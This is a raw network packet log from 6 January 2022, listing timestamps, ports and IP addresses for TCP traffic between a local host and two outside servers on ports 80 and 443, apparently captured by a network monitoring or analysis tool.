Jan 6, 2022 21:04:20.090975046 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.091015100 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.091058969 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.091097116 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.091142893 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.091181040 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.091226101 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.091265917 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.091311932 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.091351032 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.091393948 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.091434956 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.091480970 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.091516018 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.091564894 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.091579914 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.091619015 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.091628075 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.091661930 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.091676950 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.091718912 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.091727972 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.091757059 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.091775894 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.091825962 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.091835022 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.091866970 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.091883898 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.091917992 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.091931105 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.091959953 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.091980934 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.092015028 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.092027903 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.092062950 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.092077017 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.092112064 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.092124939 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.092159986 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.092175961 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.092211008 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.092222929 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.092258930 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.092273951 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.092308044 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.092319965 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.092346907 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.092370987 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.092406034 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.092418909 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.092452049 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.092468023 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.092500925 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.092514038 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.092547894 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.092562914 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.092595100 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.092607975 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.092636108 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.092653036 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.092685938 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.092698097 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.092725992 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.092741966 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.092772961 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.092783928 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.092818022 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.092824936 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.092870951 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.092892885 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.092920065 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.092931986 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.092958927 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.092976093 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.093003988 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.093015909 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.093045950 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.093065977 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.093094110 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.093106985 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.093133926 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.093148947 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.093177080 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.093189001 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.093219995 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.093241930 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.093262911 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.093272924 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.093296051 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.093321085 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.093346119 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.093364954 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.261365891 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261399031 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261416912 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261435986 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261455059 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261490107 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261512041 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261526108 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.261537075 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.261540890 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.261564016 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261586905 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261593103 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.261609077 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.261621952 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261634111 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.261653900 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261674881 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261698008 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261703968 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.261723042 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261734962 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.261753082 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261765003 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.261782885 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261792898 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.261814117 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261825085 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.261842966 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261864901 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.261873960 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261893034 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.261904955 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261914015 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.261934042 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261946917 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.261965036 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261986017 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.261993885 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.262012959 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.262029886 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.262036085 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.262056112 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.262077093 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.262093067 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.262110949 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.262126923 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.262145996 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.262156010 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.262187958 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.262197018 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.262219906 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.262228966 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.262252092 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.262262106 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.262284994 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.262295008 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.262317896 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.262341022 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.262352943 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.262375116 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.262398958 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.262423038 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.262428999 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.262461901 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.284262896 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.454423904 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.512289047 CET	49826	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.693094015 CET	80	49826	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.693229914 CET	49826	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.693377018 CET	49826	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.694706917 CET	49826	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.874130964 CET	80	49826	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.875138044 CET	80	49826	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:21.255414963 CET	80	49826	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:21.255820990 CET	49826	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:21.278573036 CET	49826	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:21.338059902 CET	49831	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:21.459399939 CET	80	49826	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:21.509809971 CET	80	49831	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:21.509932995 CET	49831	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:21.510047913 CET	49831	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:21.510066032 CET	49831	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:21.681732893 CET	80	49831	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:22.064570904 CET	80	49831	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:22.064727068 CET	49831	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:22.064949989 CET	49831	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:22.092972040 CET	49834	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:22.236521959 CET	80	49831	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:22.269438028 CET	80	49834	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:22.270447969 CET	49834	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:22.270503998 CET	49834	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:22.270517111 CET	49834	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:22.448282003 CET	80	49834	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:22.829292059 CET	80	49834	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:22.829364061 CET	49834	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:22.829562902 CET	49834	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:22.888813972 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:22.888858080 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.888988018 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:22.889539003 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:22.889565945 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.946862936 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.946955919 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:22.949413061 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:22.949438095 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.949985981 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.952306032 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:22.992872000 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.998815060 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.998909950 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.998965025 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.998991966 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.999011040 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:22.999033928 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.999082088 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.999125957 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.999155998 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.999155998 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:22.999162912 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:22.999174118 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.999222040 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:22.999306917 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.999396086 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.999437094 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.999439001 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:22.999452114 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.999491930 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:22.999516964 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.999578953 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.999624968 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:22.999634981 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.999646902 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.999685049 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:22.999696970 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.999758005 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.999800920 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:22.999810934 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.999824047 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.999862909 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:22.999875069 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.999948025 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:22.999986887 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:22.999994993 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.000004053 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.000091076 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.000159025 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.000164986 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.000186920 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.000231981 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.000243902 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.000257015 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.000274897 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.000307083 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.000349045 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.000396013 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.000401020 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.000415087 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.000456095 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.000468016 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.000508070 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.000547886 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.000550985 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.000564098 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.000607967 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.000619888 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.000673056 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.000722885 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.000736952 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.000770092 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.000818968 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.000830889 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.006475925 CET	80	49834	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:23.020328999 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.020385027 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.020399094 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.020412922 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.020442009 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.020467043 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.020493031 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.020495892 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.020512104 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.020553112 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.020560026 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.020602942 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.020612001 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.020627022 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.020678043 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.020678043 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.020692110 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.020730972 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.020736933 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.020756960 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.020765066 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.020785093 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.020797968 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.020840883 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.020859003 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.020883083 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.020941973 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.020951033 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.021025896 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.021071911 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.021080017 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.021099091 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.021151066 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.021157026 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.021173000 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.021212101 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.021245003 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.021255016 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.021264076 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.036175013 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.036237955 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.036354065 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.036370993 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.036380053 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.037029028 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.037085056 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.037098885 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.037116051 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.037173986 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.037184000 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.037245035 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.037296057 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.037305117 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.037319899 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.037369967 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.037374973 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.037389994 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.037420034 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.037441015 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.037441969 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.037460089 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.037492037 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.037517071 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.037558079 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.037568092 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.037583113 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.037632942 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.037642002 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.037691116 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.037736893 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.037746906 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.037760019 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.037812948 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.037822008 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.037843943 CET	443	49838	162.159.135.233	192.168.2.4
